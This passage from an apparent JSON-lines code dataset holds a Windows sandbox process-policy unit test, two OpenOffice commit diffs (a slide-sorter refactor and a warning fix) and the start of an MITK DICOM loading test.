\"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"sandbox\/src\/sandbox.h\"\n#include \"sandbox\/src\/sandbox_policy.h\"\n#include \"sandbox\/src\/sandbox_factory.h\"\n#include \"sandbox\/tests\/common\/controller.h\"\n\nnamespace {\n\n\/\/ The next 2 functions are copied from base\\string_util.h and have been\n\/\/ slighty modified because we don't want to depend on ICU.\ntemplate <class char_type>\ninline char_type* WriteInto(\n std::basic_string<char_type, std::char_traits<char_type>,\n std::allocator<char_type> >* str,\n size_t length_including_null) {\n str->reserve(length_including_null);\n str->resize(length_including_null - 1);\n return &((*str)[0]);\n}\n\nstd::string WideToMultiByte(const std::wstring& wide) {\n if (wide.length() == 0)\n return std::string();\n\n \/\/ compute the length of the buffer we'll need\n int charcount = WideCharToMultiByte(CP_UTF8, 0, wide.c_str(), -1,\n NULL, 0, NULL, NULL);\n if (charcount == 0)\n return std::string();\n\n std::string mb;\n WideCharToMultiByte(CP_UTF8, 0, wide.c_str(), -1,\n WriteInto(&mb, charcount), charcount, NULL, NULL);\n\n return mb;\n}\n\n\/\/ While the shell API provides better calls than this home brew function\n\/\/ we use GetSystemWindowsDirectoryW which does not query the registry so\n\/\/ it is safe to use after revert.\nstd::wstring MakeFullPathToSystem32(const wchar_t* name) {\n wchar_t windows_path[MAX_PATH] = {0};\n ::GetSystemWindowsDirectoryW(windows_path, MAX_PATH);\n std::wstring full_path(windows_path);\n if (full_path.empty()) {\n return full_path;\n }\n full_path += L\"\\\\system32\\\\\";\n full_path += name;\n return full_path;\n}\n\n\/\/ Creates a process with the |exe| and |command| parameter using the\n\/\/ unicode and ascii version of the api.\nsandbox::SboxTestResult CreateProcessHelper(const std::wstring &exe,\n const std::wstring &command) {\n PROCESS_INFORMATION pi;\n STARTUPINFOW si = {sizeof(si)};\n\n wchar_t *exe_name = NULL;\n if (!exe.empty())\n exe_name = const_cast<wchar_t*>(exe.c_str());\n\n wchar_t *cmd_line = NULL;\n if (!command.empty())\n cmd_line = const_cast<wchar_t*>(command.c_str());\n\n \/\/ Create the process with the unicode version of the API.\n sandbox::SboxTestResult ret1 = sandbox::SBOX_TEST_FAILED;\n if (!::CreateProcessW(exe_name, cmd_line, NULL, NULL, FALSE, 0, NULL,\n NULL, &si, &pi)) {\n DWORD last_error = GetLastError();\n if ((ERROR_NOT_ENOUGH_QUOTA == last_error) ||\n (ERROR_ACCESS_DENIED == last_error) ||\n (ERROR_FILE_NOT_FOUND == last_error)) {\n ret1 = sandbox::SBOX_TEST_DENIED;\n } else {\n ret1 = sandbox::SBOX_TEST_FAILED;\n }\n } else {\n ret1 = sandbox::SBOX_TEST_SUCCEEDED;\n }\n\n \/\/ Do the same with the ansi version of the api\n STARTUPINFOA sia = {sizeof(sia)};\n sandbox::SboxTestResult ret2 = sandbox::SBOX_TEST_FAILED;\n\n if (!::CreateProcessA(\n exe_name ? WideToMultiByte(exe_name).c_str() : NULL,\n cmd_line ? const_cast<char*>(WideToMultiByte(cmd_line).c_str()) : NULL,\n NULL, NULL, FALSE, 0, NULL, NULL, &sia, &pi)) {\n DWORD last_error = GetLastError();\n if ((ERROR_NOT_ENOUGH_QUOTA == last_error) ||\n (ERROR_ACCESS_DENIED == last_error) ||\n (ERROR_FILE_NOT_FOUND == last_error)) {\n ret2 = sandbox::SBOX_TEST_DENIED;\n } else {\n ret2 = sandbox::SBOX_TEST_FAILED;\n }\n } else {\n ret2 = sandbox::SBOX_TEST_SUCCEEDED;\n }\n\n if (ret1 == ret2)\n return ret1;\n\n return sandbox::SBOX_TEST_FAILED;\n}\n\n} \/\/ namespace\n\nnamespace sandbox {\n\n\/\/ Tries to create the process in argv[0] using 7 different ways.\n\/\/ Since we also try the Ansi and Unicode version of the CreateProcess API,\n\/\/ The process referenced by argv[0] will be spawned 14 times.\nSBOX_TESTS_COMMAND int Process_RunApp(int argc, wchar_t **argv) {\n if (argc != 1) {\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n }\n if ((NULL != argv) && (NULL == argv[0])) {\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n }\n std::wstring path = MakeFullPathToSystem32(argv[0]);\n\n \/\/ TEST 1: Try with the path in the app_name.\n int result1 = CreateProcessHelper(path, std::wstring());\n\n \/\/ TEST 2: Try with the path in the cmd_line.\n std::wstring cmd_line = L\"\\\"\";\n cmd_line += path;\n cmd_line += L\"\\\"\";\n int result2 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ TEST 3: Try file name in the cmd_line.\n int result3 = CreateProcessHelper(std::wstring(), argv[0]);\n\n \/\/ TEST 4: Try file name in the app_name and current directory sets correctly.\n std::wstring system32 = MakeFullPathToSystem32(L\"\");\n wchar_t current_directory[MAX_PATH + 1];\n int result4;\n bool test_succeeded = false;\n DWORD ret = ::GetCurrentDirectory(MAX_PATH, current_directory);\n if (0 != ret && ret < MAX_PATH) {\n current_directory[ret] = L'\\\\';\n current_directory[ret+1] = L'\\0';\n if (::SetCurrentDirectory(system32.c_str())) {\n result4 = CreateProcessHelper(argv[0], std::wstring());\n if (::SetCurrentDirectory(current_directory)) {\n test_succeeded = true;\n }\n }\n }\n if (!test_succeeded)\n result4 = SBOX_TEST_FAILED;\n\n \/\/ TEST 5: Try with the path in the cmd_line and arguments.\n cmd_line = L\"\\\"\";\n cmd_line += path;\n cmd_line += L\"\\\" \/INSERT\";\n int result5 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ TEST 6: Try with the file_name in the cmd_line and arguments.\n cmd_line = argv[0];\n cmd_line += L\" \/INSERT\";\n int result6 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ TEST 7: Try with the path without the drive.\n cmd_line = path.substr(path.find(L'\\\\'));\n int result7 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ Check if they all returned the same thing.\n if ((result1 == result2) && (result2 == result3) && (result3 == result4) &&\n (result4 == result5) && (result5 == result6) && (result6 == result7))\n return result1;\n\n return SBOX_TEST_FAILED;\n}\n\n\/\/ Creates a process and checks if it's possible to get a handle to it's token.\nSBOX_TESTS_COMMAND int Process_GetChildProcessToken(int argc, wchar_t **argv) {\n if (argc != 1)\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n if ((NULL != argv) && (NULL == argv[0]))\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n std::wstring path = MakeFullPathToSystem32(argv[0]);\n\n PROCESS_INFORMATION pi = {0};\n STARTUPINFOW si = {sizeof(si)};\n\n if (!::CreateProcessW(path.c_str(), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,\n NULL, NULL, &si, &pi)) {\n return SBOX_TEST_FAILED;\n }\n\n ScopedHandle process(pi.hProcess);\n ScopedHandle thread(pi.hThread);\n\n HANDLE token = NULL;\n BOOL result = ::OpenProcessToken(process.Get(), TOKEN_IMPERSONATE, &token);\n DWORD error = ::GetLastError();\n\n ScopedHandle token_handle(token);\n\n if (!::TerminateProcess(process.Get(), 0))\n return SBOX_TEST_FAILED;\n\n if (result && token)\n return SBOX_TEST_SUCCEEDED;\n\n if (ERROR_ACCESS_DENIED == error)\n return SBOX_TEST_DENIED;\n\n return SBOX_TEST_FAILED;\n}\n\n\nSBOX_TESTS_COMMAND int Process_OpenToken(int argc, wchar_t **argv) {\n HANDLE token;\n if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_ALL_ACCESS, &token)) {\n if (ERROR_ACCESS_DENIED == ::GetLastError()) {\n return SBOX_TEST_DENIED;\n }\n } else {\n ::CloseHandle(token);\n return SBOX_TEST_SUCCEEDED;\n }\n\n return SBOX_TEST_FAILED;\n}\n\nTEST(ProcessPolicyTest, TestAllAccess) {\n \/\/ Check if the \"all access\" rule fails to be added when the token is too\n \/\/ powerful.\n TestRunner runner;\n\n \/\/ Check the failing case.\n runner.GetPolicy()->SetTokenLevel(USER_INTERACTIVE, USER_LOCKDOWN);\n EXPECT_EQ(SBOX_ERROR_UNSUPPORTED,\n runner.GetPolicy()->AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_ALL_EXEC,\n L\"this is not important\"));\n\n \/\/ Check the working case.\n runner.GetPolicy()->SetTokenLevel(USER_INTERACTIVE, USER_INTERACTIVE);\n\n EXPECT_EQ(SBOX_ALL_OK,\n runner.GetPolicy()->AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_ALL_EXEC,\n L\"this is not important\"));\n}\n\n\/\/ This test is disabled. See bug 1305476.\nTEST(ProcessPolicyTest, DISABLED_RunFindstrExe) {\n TestRunner runner;\n std::wstring exe_path = MakeFullPathToSystem32(L\"findstr.exe\");\n std::wstring system32 = MakeFullPathToSystem32(L\"\");\n ASSERT_TRUE(!exe_path.empty());\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_MIN_EXEC,\n exe_path.c_str()));\n\n \/\/ Need to add directory rules for the directories that we use in\n \/\/ SetCurrentDirectory.\n EXPECT_TRUE(runner.AddFsRule(TargetPolicy::FILES_ALLOW_DIR_ANY,\n system32.c_str()));\n\n wchar_t current_directory[MAX_PATH];\n DWORD ret = ::GetCurrentDirectory(MAX_PATH, current_directory);\n ASSERT_TRUE(0 != ret && ret < MAX_PATH);\n\n wcscat_s(current_directory, MAX_PATH, L\"\\\\\");\n EXPECT_TRUE(runner.AddFsRule(TargetPolicy::FILES_ALLOW_DIR_ANY,\n current_directory));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Process_RunApp findstr.exe\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Process_RunApp calc.exe\"));\n}\n\nTEST(ProcessPolicyTest, OpenToken) {\n TestRunner runner;\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Process_OpenToken\"));\n}\n\nTEST(ProcessPolicyTest, TestGetProcessTokenMinAccess) {\n TestRunner runner;\n std::wstring exe_path = MakeFullPathToSystem32(L\"findstr.exe\");\n ASSERT_TRUE(!exe_path.empty());\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_MIN_EXEC,\n exe_path.c_str()));\n\n EXPECT_EQ(SBOX_TEST_DENIED,\n runner.RunTest(L\"Process_GetChildProcessToken findstr.exe\"));\n}\n\nTEST(ProcessPolicyTest, TestGetProcessTokenMaxAccess) {\n TestRunner runner(JOB_UNPROTECTED, USER_INTERACTIVE, USER_INTERACTIVE);\n std::wstring exe_path = MakeFullPathToSystem32(L\"findstr.exe\");\n ASSERT_TRUE(!exe_path.empty());\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_ALL_EXEC,\n exe_path.c_str()));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED,\n runner.RunTest(L\"Process_GetChildProcessToken findstr.exe\"));\n}\n\n} \/\/ namespace sandbox\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: SlsPageObjectViewContact.cxx,v $\n * $Revision: 1.9 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include \"precompiled_sd.hxx\"\n\n#include \"view\/SlsPageObjectViewContact.hxx\"\n\n#include \"model\/SlsPageDescriptor.hxx\"\n#include \"controller\/SlsPageObjectFactory.hxx\"\n\n#include <svx\/svdopage.hxx>\n#include <tools\/debug.hxx>\n\nusing namespace ::sdr::contact;\n\nnamespace sd { namespace slidesorter { namespace view {\n\n\nPageObjectViewContact::PageObjectViewContact (\n SdrPageObj& rPageObj,\n const model::SharedPageDescriptor& rpDescriptor)\n : ViewContactOfPageObj (rPageObj),\n mbIsValid(true),\n mpDescriptor(rpDescriptor)\n{\n}\n\n\n\n\nPageObjectViewContact::~PageObjectViewContact (void)\n{\n}\n\n\n\n\nViewObjectContact&\n PageObjectViewContact::CreateObjectSpecificViewObjectContact(\n ObjectContact& rObjectContact)\n{\n OSL_ASSERT(mpDescriptor.get()!=NULL);\n\n ViewObjectContact* pResult\n = mpDescriptor->GetPageObjectFactory().CreateViewObjectContact (\n rObjectContact,\n *this);\n DBG_ASSERT (pResult!=NULL,\n \"PageObjectViewContact::CreateObjectSpecificViewObjectContact() was not able to create object.\");\n return *pResult;\n}\n\n\n\n\nconst SdrPage* PageObjectViewContact::GetPage (void) const\n{\n if (mbIsValid)\n return GetReferencedPage();\n else\n return NULL;\n}\n\n\n\n\nvoid PageObjectViewContact::CalcPaintRectangle (void)\n{\n ViewContactOfPageObj::CalcPaintRectangle();\n if (mbIsValid)\n {\n OSL_ASSERT(mpDescriptor.get()!=NULL);\n\n maPageObjectBoundingBox = maPaintRectangle;\n SvBorder aBorder (mpDescriptor->GetModelBorder());\n maPaintRectangle.Left() -= aBorder.Left();\n maPaintRectangle.Right() += aBorder.Right();\n maPaintRectangle.Top() -= aBorder.Top();\n maPaintRectangle.Bottom() += aBorder.Bottom();\n }\n}\n\n\n\n\nRectangle PageObjectViewContact::GetPageRectangle (void)\n{\n return GetPageObj().GetCurrentBoundRect();\n}\n\n\n\n\nvoid PageObjectViewContact::ActionChanged (void)\n{\n ViewContactOfPageObj::ActionChanged();\n}\n\n\n\n\nRectangle PageObjectViewContact::GetPageObjectBoundingBox (void) const\n{\n return maPageObjectBoundingBox;\n}\n\n\n\n\nSdrPageObj& PageObjectViewContact::GetPageObject (void) const\n{\n return ViewContactOfPageObj::GetPageObj();\n}\n\n\n\n\nvoid PageObjectViewContact::PrepareDelete (void)\n{\n mbIsValid = false;\n}\n\n\n\n} } } \/\/ end of namespace ::sd::slidesorter::view\n<commit_msg>INTEGRATION: CWS aw033 (1.7.46); FILE MERGED 2008\/07\/10 12:56:27 aw 1.7.46.7: #i39532# XOutputDevice removed, PrepareDelete removed 2008\/06\/24 15:34:31 aw 1.7.46.6: #i39532# corrections 2008\/05\/27 15:18:03 aw 1.7.46.5: #i39532# changes DEV300 m12 resync corrections 2008\/05\/16 13:06:05 aw 1.7.46.4: adaptions after resync 2008\/05\/14 14:51:19 aw 1.7.46.3: RESYNC: (1.7-1.9); FILE MERGED 2008\/01\/29 10:34:21 aw 1.7.46.2: updated refresh for ActionChanged(), diverse removals 2008\/01\/22 12:16:42 aw 1.7.46.1: adaptions and 1st stripping<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: SlsPageObjectViewContact.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include \"precompiled_sd.hxx\"\n\n#include \"view\/SlsPageObjectViewContact.hxx\"\n\n#include \"model\/SlsPageDescriptor.hxx\"\n#include \"controller\/SlsPageObjectFactory.hxx\"\n\n#include <svx\/svdopage.hxx>\n#include <tools\/debug.hxx>\n\n#include <basegfx\/polygon\/b2dpolygontools.hxx>\n#include <drawinglayer\/primitive2d\/polygonprimitive2d.hxx>\n\nusing namespace ::sdr::contact;\n\nnamespace sd { namespace slidesorter { namespace view {\n\n\nPageObjectViewContact::PageObjectViewContact (\n SdrPageObj& rPageObj,\n const model::SharedPageDescriptor& rpDescriptor)\n : ViewContactOfPageObj (rPageObj),\n mbInDestructor(false),\n mpDescriptor(rpDescriptor)\n{\n}\n\nPageObjectViewContact::~PageObjectViewContact (void)\n{\n \/\/ remember that this instance is in destruction\n mbInDestructor = true;\n}\n\n\n\nViewObjectContact&\n PageObjectViewContact::CreateObjectSpecificViewObjectContact(\n ObjectContact& rObjectContact)\n{\n OSL_ASSERT(mpDescriptor.get()!=NULL);\n\n ViewObjectContact* pResult\n = mpDescriptor->GetPageObjectFactory().CreateViewObjectContact (\n rObjectContact,\n *this);\n DBG_ASSERT (pResult!=NULL,\n \"PageObjectViewContact::CreateObjectSpecificViewObjectContact() was not able to create object.\");\n return *pResult;\n}\n\nconst SdrPage* PageObjectViewContact::GetPage (void) const\n{\n \/\/ when this instance itself is in destruction, do no longer\n \/\/ provide the referenced page to VOC childs of this OC. This\n \/\/ happens e.g. in destructor which destroys all child-VOCs which\n \/\/ may in their implementation still reference their VC from\n \/\/ their own destructor\n if (!mbInDestructor)\n return GetReferencedPage();\n else\n return NULL;\n}\n\nvoid PageObjectViewContact::ActionChanged (void)\n{\n ViewContactOfPageObj::ActionChanged();\n}\n\nRectangle PageObjectViewContact::GetPageObjectBoundingBox (void) const\n{\n \/\/ use model data directly here\n OSL_ASSERT(mpDescriptor.get()!=NULL);\n Rectangle aRetval(GetPageObject().GetLastBoundRect());\n const SvBorder aPageDescriptorBorder(mpDescriptor->GetModelBorder());\n\n aRetval.Left() -= aPageDescriptorBorder.Left();\n aRetval.Top() -= aPageDescriptorBorder.Top();\n aRetval.Right() += aPageDescriptorBorder.Right();\n aRetval.Bottom() += aPageDescriptorBorder.Bottom();\n\n return aRetval;\n}\n\nSdrPageObj& PageObjectViewContact::GetPageObject (void) const\n{\n return ViewContactOfPageObj::GetPageObj();\n}\n\ndrawinglayer::primitive2d::Primitive2DSequence PageObjectViewContact::createViewIndependentPrimitive2DSequence() const\n{\n \/\/ ceate graphical visualisation data. Since this is the view-independent version which should not be used,\n \/\/ create a replacement graphic visualisation here. Use GetLastBoundRect to access the model data directly\n \/\/ which is aOutRect for SdrPageObj.\n OSL_ASSERT(mpDescriptor.get()!=NULL);\n Rectangle aModelRectangle(GetPageObj().GetLastBoundRect());\n const SvBorder aBorder(mpDescriptor->GetModelBorder());\n\n aModelRectangle.Left() -= aBorder.Left();\n aModelRectangle.Right() += aBorder.Right();\n aModelRectangle.Top() -= aBorder.Top();\n aModelRectangle.Bottom() += aBorder.Bottom();\n\n const basegfx::B2DRange aModelRange(aModelRectangle.Left(), aModelRectangle.Top(), aModelRectangle.Right(), aModelRectangle.Bottom());\n const basegfx::B2DPolygon aOutline(basegfx::tools::createPolygonFromRect(aModelRange));\n const basegfx::BColor aYellow(1.0, 1.0, 0.0);\n const drawinglayer::primitive2d::Primitive2DReference xReference(new drawinglayer::primitive2d::PolygonHairlinePrimitive2D(aOutline, aYellow));\n\n return drawinglayer::primitive2d::Primitive2DSequence(&xReference, 1);\n}\n\n} } } \/\/ end of namespace ::sd::slidesorter::view\n\n\/\/ eof\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n#undef SC_DLLIMPLEMENTATION\n\n\n\n\/\/------------------------------------------------------------------\n\n#include <vcl\/msgbox.hxx>\n\n#include \"shtabdlg.hxx\"\n#include \"scresid.hxx\"\n#include \"miscdlgs.hrc\"\n\n\n\/\/==================================================================\n\nScShowTabDlg::ScShowTabDlg( Window* pParent ) :\n ModalDialog ( pParent, ScResId( RID_SCDLG_SHOW_TAB ) ),\n aLb ( this, ScResId( LB_ENTRYLIST ) ),\n aBtnOk ( this, ScResId( BTN_OK ) ),\n aBtnCancel ( this, ScResId( BTN_CANCEL ) ),\n aBtnHelp ( this, ScResId( BTN_HELP ) ),\n aFtLbTitle ( this, ScResId( FT_LABEL ) )\n{\n aLb.Clear();\n aLb.SetDoubleClickHdl( LINK( this, ScShowTabDlg, DblClkHdl ) );\n\n \/\/-------------\n FreeResource();\n}\n\n\/\/------------------------------------------------------------------------\n\nvoid ScShowTabDlg::SetDescription(\n const String& rTitle, const String& rFixedText,\n ULONG nDlgHelpId, ULONG nLbHelpId )\n{\n SetText( rTitle );\n aFtLbTitle.SetText( rFixedText );\n \/\/ FIXME: HELPID\n SetHelpId( \"\"\/*nDlgHelpId*\/ );\n \/\/ FIXME: HELPID\n aLb.SetHelpId( \"\"\/*nLbHelpId*\/ );\n}\n\nvoid ScShowTabDlg::Insert( const String& rString, BOOL bSelected )\n{\n aLb.InsertEntry( rString );\n if( bSelected )\n aLb.SelectEntryPos( aLb.GetEntryCount() - 1 );\n}\n\n\/\/------------------------------------------------------------------------\n\nUSHORT ScShowTabDlg::GetSelectEntryCount() const\n{\n return aLb.GetSelectEntryCount();\n}\n\nString ScShowTabDlg::GetSelectEntry(USHORT nPos) const\n{\n return aLb.GetSelectEntry(nPos);\n}\n\nUSHORT ScShowTabDlg::GetSelectEntryPos(USHORT nPos) const\n{\n return aLb.GetSelectEntryPos(nPos);\n}\n\n\/\/------------------------------------------------------------------------\n\nIMPL_LINK_INLINE_START( ScShowTabDlg, DblClkHdl, void *, EMPTYARG )\n{\n EndDialog( RET_OK );\n return 0;\n}\nIMPL_LINK_INLINE_END( ScShowTabDlg, DblClkHdl, void *, EMPTYARG )\n\n__EXPORT ScShowTabDlg::~ScShowTabDlg()\n{\n}\n\n\n\n<commit_msg>fix warnings<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n#undef SC_DLLIMPLEMENTATION\n\n\n\n\/\/------------------------------------------------------------------\n\n#include <vcl\/msgbox.hxx>\n\n#include \"shtabdlg.hxx\"\n#include \"scresid.hxx\"\n#include \"miscdlgs.hrc\"\n\n\n\/\/==================================================================\n\nScShowTabDlg::ScShowTabDlg( Window* pParent ) :\n ModalDialog ( pParent, ScResId( RID_SCDLG_SHOW_TAB ) ),\n aLb ( this, ScResId( LB_ENTRYLIST ) ),\n aBtnOk ( this, ScResId( BTN_OK ) ),\n aBtnCancel ( this, ScResId( BTN_CANCEL ) ),\n aBtnHelp ( this, ScResId( BTN_HELP ) ),\n aFtLbTitle ( this, ScResId( FT_LABEL ) )\n{\n aLb.Clear();\n aLb.SetDoubleClickHdl( LINK( this, ScShowTabDlg, DblClkHdl ) );\n\n \/\/-------------\n FreeResource();\n}\n\n\/\/------------------------------------------------------------------------\n\nvoid ScShowTabDlg::SetDescription(\n const String& rTitle, const String& rFixedText,\n ULONG nDlgHelpId, ULONG nLbHelpId )\n{\n SetText( rTitle );\n aFtLbTitle.SetText( rFixedText );\n \/\/ FIXME: HELPID\n SetHelpId( \"\"\/*nDlgHelpId*\/ );\n (void)nDlgHelpId;\n \/\/ FIXME: HELPID\n aLb.SetHelpId( \"\"\/*nLbHelpId*\/ );\n (void)nLbHelpId;\n}\n\nvoid ScShowTabDlg::Insert( const String& rString, BOOL bSelected )\n{\n aLb.InsertEntry( rString );\n if( bSelected )\n aLb.SelectEntryPos( aLb.GetEntryCount() - 1 );\n}\n\n\/\/------------------------------------------------------------------------\n\nUSHORT ScShowTabDlg::GetSelectEntryCount() const\n{\n return aLb.GetSelectEntryCount();\n}\n\nString ScShowTabDlg::GetSelectEntry(USHORT nPos) const\n{\n return aLb.GetSelectEntry(nPos);\n}\n\nUSHORT ScShowTabDlg::GetSelectEntryPos(USHORT nPos) const\n{\n return aLb.GetSelectEntryPos(nPos);\n}\n\n\/\/------------------------------------------------------------------------\n\nIMPL_LINK_INLINE_START( ScShowTabDlg, DblClkHdl, void *, EMPTYARG )\n{\n EndDialog( RET_OK );\n return 0;\n}\nIMPL_LINK_INLINE_END( ScShowTabDlg, DblClkHdl, void *, EMPTYARG )\n\n__EXPORT ScShowTabDlg::~ScShowTabDlg()\n{\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n\n#include \"mitkTestDICOMLoading.h\"\n#include \"mitkTestingMacros.h\"\n\nbool CheckAllPropertiesAreInOtherList(const mitk::PropertyList* list, const mitk::PropertyList* otherList)\n{\n MITK_TEST_CONDITION_REQUIRED(list and otherList, \"Comparison is passed two non-empty property lists\")\n\n const mitk::PropertyList::PropertyMap* listM = list->GetMap();\n const mitk::PropertyList::PropertyMap* otherListM = otherList->GetMap();\n\n bool equal = true;\n for ( mitk::PropertyList::PropertyMap::const_iterator iter = listM->begin();\n iter != listM->end();\n ++iter )\n {\n std::string key = iter->first;\n mitk::BaseProperty* property = iter->second;\n\n mitk::PropertyList::PropertyMap::const_iterator otherEntry = otherListM->find( key );\n MITK_TEST_CONDITION( otherEntry != otherListM->end(), \" Property '\" << key << \"' is contained in other list\" )\n\n mitk::BaseProperty* otherProperty = otherEntry->second;\n MITK_TEST_CONDITION( equal &= (*property == *otherProperty), \" Property '\" << key << \"' is equal in both list\" )\n }\n\n return equal;\n}\n\nbool VerifyPropertyListsEquality(const mitk::PropertyList* testList, const mitk::PropertyList* referenceList)\n{\n bool allTestPropsInReference = CheckAllPropertiesAreInOtherList(testList, referenceList);\n MITK_TEST_CONDITION(allTestPropsInReference, \"All test properties found in reference properties\")\n bool allReferencePropsInTest = CheckAllPropertiesAreInOtherList(referenceList, testList);\n MITK_TEST_CONDITION(allReferencePropsInTest, \"All reference properties found in test properties\")\n return allTestPropsInReference && allReferencePropsInTest;\n}\n\nint mitkDICOMPreloadedVolumeTest(int argc, char** const argv)\n{\n MITK_TEST_BEGIN(\"DICOMPreloadedVolume\")\n\n mitk::TestDICOMLoading loader;\n mitk::TestDICOMLoading::StringContainer files;\n\n \/\/ adapt expectations depending on configuration\n std::string configuration = mitk::DicomSeriesReader::GetConfigurationString();\n MITK_TEST_OUTPUT(<< \"Configuration: \" << configuration)\n\n \/\/ load files from commandline\n for (int arg = 1; arg < argc; ++arg)\n {\n MITK_TEST_OUTPUT(<< \"Test file \" << argv[arg])\n files.push_back( argv[arg] );\n }\n\n\n \/\/ verify all files are DICOM\n for (mitk::TestDICOMLoading::StringContainer::const_iterator fileIter = files.begin();\n fileIter != files.end();\n ++fileIter)\n {\n MITK_TEST_CONDITION_REQUIRED( mitk::DicomSeriesReader::IsDicom(*fileIter) , *fileIter << \" is recognized as loadable DICOM object\" )\n\n }\n\n \/\/ load for a first time\n mitk::TestDICOMLoading::ImageList images = loader.LoadFiles(files);\n MITK_TEST_OUTPUT(<< \"Loaded \" << images.size() << \" images. Remembering properties of the first one for later comparison.\")\n mitk::Image::Pointer firstImage = images.front();\n\n mitk::PropertyList::Pointer originalProperties = firstImage->GetPropertyList(); \/\/ save the original\n firstImage->SetPropertyList( mitk::PropertyList::New() ); 